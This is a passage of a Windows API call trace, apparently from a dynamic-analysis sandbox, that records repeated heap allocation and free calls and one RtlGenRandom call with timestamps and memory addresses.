Size=0x100) returned 0x32f6d10 [0063.420] GetProcessHeap () returned 0x540000 [0063.420] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.420] GetProcessHeap () returned 0x540000 [0063.420] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.420] GetProcessHeap () returned 0x540000 [0063.420] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.420] GetProcessHeap () returned 0x540000 [0063.420] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.420] GetProcessHeap () returned 0x540000 [0063.421] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.421] GetProcessHeap () returned 0x540000 [0063.421] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.421] GetProcessHeap () returned 0x540000 [0063.421] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.421] GetProcessHeap () returned 0x540000 [0063.421] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.421] GetProcessHeap () returned 0x540000 [0063.421] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.421] GetProcessHeap () returned 0x540000 [0063.421] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.421] GetProcessHeap () returned 0x540000 [0063.421] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.421] GetProcessHeap () returned 0x540000 [0063.421] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.421] GetProcessHeap () returned 0x540000 [0063.421] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.421] GetProcessHeap () returned 0x540000 [0063.421] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.421] GetProcessHeap () returned 0x540000 [0063.421] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.514] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x3264668, Size=0x80) returned 0x5a1cc8 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ad850 | out: hHeap=0x540000) returned 1 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x3264668 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x3264668, Size=0x80) returned 0x5a1d50 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3264618 | out: hHeap=0x540000) returned 1 [0063.515] SystemFunction036 (in: RandomBuffer=0x17f730, RandomBufferLength=0x80 | out: RandomBuffer=0x17f730) returned 1 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x3264618 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x3264668 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x102) returned 0x329bd38 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1068) returned 0x573e58 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.515] GetProcessHeap () returned 0x540000 [0063.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.516] GetProcessHeap () returned 0x540000 [0063.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.517] GetProcessHeap () returned 0x540000 [0063.517] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.518] GetProcessHeap () returned 0x540000 [0063.518] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.519] GetProcessHeap () returned 0x540000 [0063.519] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.519] GetProcessHeap () returned 0x540000 [0063.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.520] GetProcessHeap () returned 0x540000 [0063.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.520] GetProcessHeap () returned 0x540000 [0063.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.521] GetProcessHeap () returned 0x540000 [0063.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.521] GetProcessHeap () returned 0x540000 [0063.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.522] GetProcessHeap () returned 0x540000 [0063.522] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.522] GetProcessHeap () returned 0x540000 [0063.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.523] GetProcessHeap () returned 0x540000 [0063.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.523] GetProcessHeap () returned 0x540000 [0063.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.523] GetProcessHeap () returned 0x540000 [0063.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.523] GetProcessHeap () returned 0x540000 